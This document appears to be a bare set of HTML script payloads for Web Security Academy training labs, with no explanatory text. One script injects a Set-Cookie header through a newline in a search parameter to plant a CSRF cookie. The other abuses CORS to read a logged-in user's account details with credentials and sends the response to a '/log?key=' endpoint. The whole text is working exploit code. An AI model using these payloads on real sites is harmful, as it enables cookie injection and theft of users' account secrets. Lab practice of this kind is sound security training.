XHR request - updated

xhr_updated.html

<script>
  const xhr = new XMLHttpRequest();

  var url = "https://ac4d1fc41e36a25980e119df00010089.web-security-academy.net/?search=whoami%0aSet-Cookie:%20csrfKey=w2odvLHxDvlfyVclGjK5nM99d2KZY6MG";

  xhr.open("GET", url);
  xhr.send();

  xhr.onload = () => {
    if (xhr.status === 200){
      console.log("response received");
    }
  };
</script>

//Alternative with litener
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://ac0f1f641f347fbd80e16c6c005100d2.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>